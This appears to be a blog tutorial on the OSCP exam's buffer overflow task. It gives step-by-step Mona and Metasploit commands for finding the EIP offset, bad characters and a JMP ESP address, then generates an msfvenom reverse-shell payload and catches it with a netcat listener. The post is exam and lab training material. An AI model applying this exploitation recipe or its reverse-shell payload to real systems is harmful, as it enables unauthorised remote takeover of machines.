Buffer Overflow Preparation for OSCP

4 min readDec 2, 2021

In this small article, I would like to describe the main steps in the most straightforward words and provide a short overview of “how the buffer overflow” might be done. You should be ready to solve this type of task for the OSCP exam.

What you will have to work with during this task:

  1. Python exploit code
  2. Immunity debugger
  3. Mona for Immunity debugger

Main steps:

  1. Connection to the Debugging machine
  2. Fuzzing(Skip for OSCP)
  3. Identifying the EIP register offset value
  4. Controlling the EIP value
  5. Identifying the bad character
  6. Identifying the returning address
  7. Adding padding
  8. Generation a reverse shell with msfvenom
  9. Getting a shell

Steps overview:

1)Connection to the Debugging machine

xfreerdp +clipboard /u:USERNAME /p:PASSWORD /cert:ignore /v:MACHINE_IP /workarea

3)Identifying the EIP register offset value

Note: Generate a cyclic pattern of a length 400 bytes longer that the string that crashed the server. VALUE = CRASH + 400

locate pattern_create.rb

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l VALUE

Set up Mona folder

!mona config -set workingfolder c:\mona\%p

Find EIP offset

!mona findmsp -distance VALUE

Mona result

Add it as offset value

4)Controlling the EIP value

Add the “BBBB” as the “retn” value. Then check the EIP register value.



5)Identifying the bad character

Note: the \x00 is a bad character by default. User the following string as a payload for identifying the bad characters.



Set up the mona bytearray

!mona bytearray -b “\x00”

ESP register value after crash


!mona compare -f C:\mona\oscp\bytearray.bin -a ESP_ADRESS

Remove the bad char, crash again, add the removed char to mona byte array

!mona bytearray -b “\x00\x07”

Compare after crash the mona bytearray with ESP register value

Remove char

Note: you should remove all possibly bad char one by one. In the end you will have the list of bad char. For example, “\x00\x07\x2e\xa0”

6)Identifying the returning address

!mona jmp -r esp -cpb “\x00\x07\x2e\xa0”

So we have the “0x625011af” value

Convert the returning address value to which we can use in our Python code

0x625011af → \xaf\x11\x50\x62

7) Adding padding

padding = b”\x90" * 16

8) Generation a reverse shell with msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT EXITFUNC=thread -b “BAD_CHAR” -f python -v payload


msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 EXITFUNC=thread -b “\x00\x07\x2e\xa0” -f python -v payload

Put the exploit code as a Payload to the final exploit

9)Getting a shell

Start NC

sudo nc -lvnp 443

Run exploit and get a shell

Follow me and stay secure!




MSc in Cyber Security, OSCP, eWPTXv2, CEH Master. Awarded by Apple, Trello, Paysera..